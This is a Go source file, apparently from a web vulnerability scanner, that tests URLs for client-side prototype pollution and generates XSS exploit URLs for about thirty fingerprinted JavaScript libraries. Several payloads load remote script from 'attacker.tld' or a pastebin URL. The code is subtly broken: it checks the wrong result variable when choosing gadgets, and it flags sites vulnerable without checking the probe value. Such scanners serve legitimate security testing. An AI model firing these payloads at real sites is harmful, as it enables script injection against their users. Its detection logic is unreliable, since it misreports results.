/
prototype.go
246 lines (231 loc) · 12.9 KB
/
prototype.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
package xss
import (
"github.com/chromedp/chromedp"
"github.com/yhy0/Jie/crawler"
"github.com/yhy0/Jie/pkg/output"
"github.com/yhy0/logging"
"strings"
"time"
)
/**
@author: yhy
@since: 2023/3/13
@desc: 通过 原型链污染 寻找 xss https://github.com/kleiton0x00/ppmap
**/
var fingerprint = `;() => {
let gadgets = 'default';
if (typeof _satellite !== 'undefined') {
gadgets = 'Adobe Dynamic Tag Management ';
} else if (typeof BOOMR !== 'undefined') {
gadgets = 'Akamai Boomerang ';
} else if (typeof goog !== 'undefined' && typeof goog.basePath !== 'undefined') {
gadgets = 'Closure ';
} else if (typeof DOMPurify !== 'undefined') {
gadgets = 'DOMPurify ';
} else if (typeof window.embedly !== 'undefined') {
gadgets = 'Embedly Cards ';
} else if (typeof filterXSS !== 'undefined') {
gadgets = 'js-xss ';
} else if (typeof ko !== 'undefined' && typeof ko.version !== 'undefined') {
gadgets = 'Knockout.js ';
} else if (typeof _ !== 'undefined' && typeof _.template !== 'undefined' && typeof _.VERSION !== 'undefined') {
gadgets = 'Lodash <= 4.17.15 ';
} else if (typeof Marionette !== 'undefined') {
gadgets = 'Marionette.js / Backbone.js ';
} else if (typeof recaptcha !== 'undefined') {
gadgets = 'Google reCAPTCHA ';
} else if (typeof sanitizeHtml !== 'undefined') {
gadgets = 'sanitize-html ';
} else if (typeof analytics !== 'undefined' && typeof analytics.SNIPPET_VERSION !== 'undefined') {
gadgets = 'Segment Analytics.js ';
} else if (typeof Sprint !== 'undefined') {
gadgets = 'Sprint.js ';
} else if (typeof SwiftypeObject != 'undefined') {
gadgets = 'Swiftype Site Search ';
} else if (typeof utag !== 'undefined' && typeof utag.id !== 'undefined') {
gadgets = 'Tealium Universal Tag ';
} else if (typeof twq !== 'undefined' && typeof twq.version !== 'undefined') {
gadgets = 'Twitter Universal Website Tag ';
} else if (typeof wistiaEmbeds !== 'undefined') {
gadgets = 'Wistia Embedded Video ';
} else if (typeof $ !== 'undefined' && typeof $.zepto !== 'undefined') {
gadgets = 'Zepto.js ';
} else if (typeof Vue != 'undefined') {
gadgets = "Vue.js";
} else if (typeof Popper !== 'undefined') {
gadgets = "Popper.js";
} else if (typeof pendo !== 'undefined') {
gadgets = "Pendo Agent";
} else if (typeof i18next !== 'undefined') {
gadgets = "i18next";
} else if (typeof Demandbase != 'undefined') {
gadgets = "Demandbase Tag";
} else if (typeof _analytics !== 'undefined' && typeof analyticsGtagManager !== 'undefined') {
gadgets = "Google Tag Manager plugin for analytics";
} else if (typeof can != 'undefined' && typeof can.deparam != 'undefined') {
gadgets = "CanJS deparam";
} else if (typeof $ !== 'undefined' && typeof $.parseParams !== 'undefined') {
gadgets = "jQuery parseParams";
} else if (typeof String.parseQueryString != 'undefined') {
gadgets = "MooTools More";
} else if (typeof mutiny != 'undefined') {
gadgets = "Mutiny";
} else if (document.getElementsByTagName('html')[0].hasAttribute('amp')) {
gadgets = "AMP";
} else if (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined') {
gadgets = 'jQuery';
}
return gadgets;
};
`
var ppp = [4]string{
"constructor%5Bprototype%5D%5Bppmap%5D=reserved",
"__proto__.ppmap=reserved",
"constructor.prototype.ppmap=reserved",
"__proto__%5Bppmap%5D=reserved",
}
func Prototype(u string) {
res := strings.Contains(u, "?")
if res == true {
queryEnum(u, `&`)
} else {
if queryEnum(u, `?`) {
return
}
queryEnum(u, `#`)
}
}
func queryEnum(u, quote string) bool {
for _, p := range ppp {
full_url := u + quote + p
// run task list
var res string
err := chromedp.Run(*crawler.Browser.Ctx,
chromedp.Navigate(full_url),
// 首先根据 payload 检测 js 是否输出 reserved
chromedp.Evaluate(`window.ppmap`, &res),
)
if err != nil {
continue
}
logging.Logger.Infoln("[Vulnerable]:", full_url)
time.Sleep(1 * time.Second)
// 具体的指纹检测
logging.Logger.Infoln("Fingerprinting the gadget...")
var res1 string
err1 := chromedp.Run(*crawler.Browser.Ctx,
chromedp.Navigate(u),
//change the value 5 to a higher one if your internet connection is slow
chromedp.Sleep(8*time.Second),
chromedp.Evaluate(fingerprint, &res1),
)
if err1 != nil {
continue
}
logging.Logger.Infoln(full_url, " Gadget found: ", res1)
time.Sleep(1 * time.Second)
//vulnerable := true
payloads := []string{}
if strings.Contains(res, "default") {
logging.Logger.Debugln(" No gadget found")
logging.Logger.Debugln(" Website is vulnerable to Prototype Pollution, but not automatically exploitable")
//vulnerable = false
} else if strings.Contains(res, "Adobe Dynamic Tag Management") {
payloads = append(payloads, u+quote+"__proto__[src]=data:,alert(1)//")
} else if strings.Contains(res, "Akamai Boomerang") {
payloads = append(payloads, u+quote+"__proto__[BOOMR]=1&__proto__[url]=//attacker.tld/js.js")
} else if strings.Contains(res, "Closure") {
payloads = append(payloads, u+quote+"__proto__[*%%20ONERROR]=1&__proto__[*%%20SRC]=1")
payloads = append(payloads, u+quote+"__proto__[CLOSURE_BASE_PATH]=data:,alert(1)//")
} else if strings.Contains(res, "DOMPurify") {
payloads = append(payloads, u+quote+"__proto__[ALLOWED_ATTR][0]=onerror&__proto__[ALLOWED_ATTR][1]=src")
payloads = append(payloads, u+quote+"__proto__[documentMode]=9")
} else if strings.Contains(res, "Embedly") {
payloads = append(payloads, u+quote+"__proto__[onload]=alert(1)")
} else if strings.Contains(res, "jQuery") {
payloads = append(payloads, u+quote+"__proto__[context]=<img/src/onerror%%3dalert(1)>&__proto__[jquery]=x")
payloads = append(payloads, u+quote+"__proto__[url][]=data:,alert(1)//&__proto__[dataType]=script")
payloads = append(payloads, u+quote+"__proto__[url]=data:,alert(1)//&__proto__[dataType]=script&__proto__[crossDomain]=")
payloads = append(payloads, u+quote+"__proto__[src][]=data:,alert(1)//")
payloads = append(payloads, u+quote+"__proto__[url]=data:,alert(1)//")
payloads = append(payloads, u+quote+"__proto__[div][0]=1&__proto__[div][1]=<img/src/onerror%%3dalert(1)>&__proto__[div][2]=1")
payloads = append(payloads, u+quote+"__proto__[preventDefault]=x&__proto__[handleObj]=x&__proto__[delegateTarget]=<img/src/onerror%%3dalert(1)>")
} else if strings.Contains(res, "js-xss") {
payloads = append(payloads, u+quote+"__proto__[whiteList][img][0]=onerror&__proto__[whiteList][img][1]=src")
} else if strings.Contains(res, "Knockout.js") {
payloads = append(payloads, u+quote+"__proto__[4]=a':1,[alert(1)]:1,'b&__proto__[5]=,")
} else if strings.Contains(res, "Lodash <= 4.17.15") {
payloads = append(payloads, u+quote+"__proto__[sourceURL]=%%E2%%80%A8%%E2%%80%%A9alert(1)")
} else if strings.Contains(res, "Marionette.js / Backbone.js") {
payloads = append(payloads, u+quote+"__proto__[tagName]=img&__proto__[src][]=x:&__proto__[onerror][]=alert(1)")
} else if strings.Contains(res, "Google reCAPTCHA") {
payloads = append(payloads, u+quote+"__proto__[srcdoc][]=<script>alert(1)</script>")
} else if strings.Contains(res, "sanitize-html") {
payloads = append(payloads, u+quote+"__proto__[*][]=onload")
payloads = append(payloads, u+quote+"__proto__[innerText]=<script>alert(1)</script>")
} else if strings.Contains(res, "Segment Analytics.js") {
payloads = append(payloads, u+quote+"__proto__[script][0]=1&__proto__[script][1]=<img/src/onerror%%3dalert(1)>&__proto__[script][2]=1")
} else if strings.Contains(res, "Sprint.js") {
payloads = append(payloads, u+quote+"__proto__[div][intro]=<img%%20src%%20onerror%%3dalert(1)>")
} else if strings.Contains(res, "Swiftype Site Search") {
payloads = append(payloads, u+quote+"__proto__[xxx]=alert(1)")
} else if strings.Contains(res, "Tealium Universal Tag") {
payloads = append(payloads, u+quote+"__proto__[attrs][src]=1&__proto__[src]=//attacker.tld/js.js")
} else if strings.Contains(res, "Twitter Universal Website Tag") {
payloads = append(payloads, u+quote+"__proto__[attrs][src]=1&__proto__[hif][]=javascript:alert(1)")
} else if strings.Contains(res, "Wistia Embedded Video") {
payloads = append(payloads, u+quote+"__proto__[innerHTML]=<img/src/onerror=alert(1)>")
} else if strings.Contains(res, "Zepto.js") {
payloads = append(payloads, u+quote+"__proto__[onerror]=alert(1)")
} else if strings.Contains(res, "Vue.js") {
payloads = append(payloads, u+quote+"__proto__[v-if]=_c.constructor('alert(1)')()")
payloads = append(payloads, u+quote+"__proto__[attrs][0][name]=src&__proto__[attrs][0][value]=xxx&__proto__[xxx]=data:,alert(1)//&__proto__[is]=script")
payloads = append(payloads, u+quote+"__proto__[v-bind:class]=''.constructor.constructor('alert(1)')()")
payloads = append(payloads, u+quote+"__proto__[data]=a&__proto__[template][nodeType]=a&__proto__[template][innerHTML]=<script>alert(1)</script>")
payloads = append(payloads, u+quote+`__proto__[props][][value]=a&__proto__[name]=":''.constructor.constructor('alert(1)')(),"")`)
payloads = append(payloads, u+quote+"__proto__[template]=<script>alert(1)</script>")
} else if strings.Contains(res, "Popper.js") {
payloads = append(payloads, u+quote+"__proto__[arrow][style]=color:red;transition:all%%201s&__proto__[arrow][ontransitionend]=alert(1)")
payloads = append(payloads, u+quote+"__proto__[reference][style]=color:red;transition:all%%201s&__proto__[reference][ontransitionend]=alert(2)")
payloads = append(payloads, u+quote+"__proto__[popper][style]=color:red;transition:all%%201s&__proto__[popper][ontransitionend]=alert(3)")
} else if strings.Contains(res, "Pendo Agent") {
payloads = append(payloads, u+quote+"__proto__[dataHost]=attacker.tld/js.js%%23")
} else if strings.Contains(res, "i18next") {
payloads = append(payloads, u+quote+"__proto__[lng]=cimode&__proto__[appendNamespaceToCIMode]=x&__proto__[nsSeparator]=<img/src/onerror%%3dalert(1)>")
payloads = append(payloads, u+quote+"__proto__[lng]=a&__proto__[a]=b&__proto__[obj]=c&__proto__[k]=d&__proto__[d]=<img/src/onerror%%3dalert(1)>")
payloads = append(payloads, u+quote+"__proto__[lng]=a&__proto__[key]=<img/src/onerror%%3dalert(1)>")
} else if strings.Contains(res, "Demandbase Tag") {
payloads = append(payloads, u+quote+"__proto__[Config][SiteOptimization][enabled]=1&__proto__[Config][SiteOptimization][recommendationApiURL]=//attacker.tld/json_cors.php?")
} else if strings.Contains(res, "Google Tag Manager plugin for analytics") {
payloads = append(payloads, u+quote+"__proto__[customScriptSrc]=//attacker.tld/xss.js")
} else if strings.Contains(res, "CanJS deparam") {
payloads = append(payloads, u+quote+"__proto__[test]=test")
payloads = append(payloads, u+quote+"?constructor[prototype][test]=test")
} else if strings.Contains(res, "jQuery parseParams") {
payloads = append(payloads, u+quote+"__proto__.test=test")
payloads = append(payloads, u+quote+"?constructor.prototype.test=test")
} else if strings.Contains(res, "MooTools More") {
payloads = append(payloads, u+quote+"__proto__[test]=test")
payloads = append(payloads, u+quote+"?constructor[prototype][test]=test")
} else if strings.Contains(res, "Mutiny") {
payloads = append(payloads, u+quote+"__proto__.test=test")
} else if strings.Contains(res, "AMP") {
payloads = append(payloads, u+quote+"__proto__.ampUrlPrefix=https://pastebin.com/raw/E9f7BSwb")
}
// 没有的话,手动测试
output.OutChannel <- output.VulMessage{
DataType: "web_vul",
Plugin: "XSS Prototype Pollution",
VulnData: output.VulnData{
CreateTime: time.Now().Format("2006-01-02 15:04:05"),
Target: u,
VulnType: "Prototype Pollution XSS",
Method: "GET",
Payload: "Gadget " + res + " \t possible payloads \n" + strings.Join(payloads, "\n"),
},
Level: output.Medium,
}
return true
}
return false
}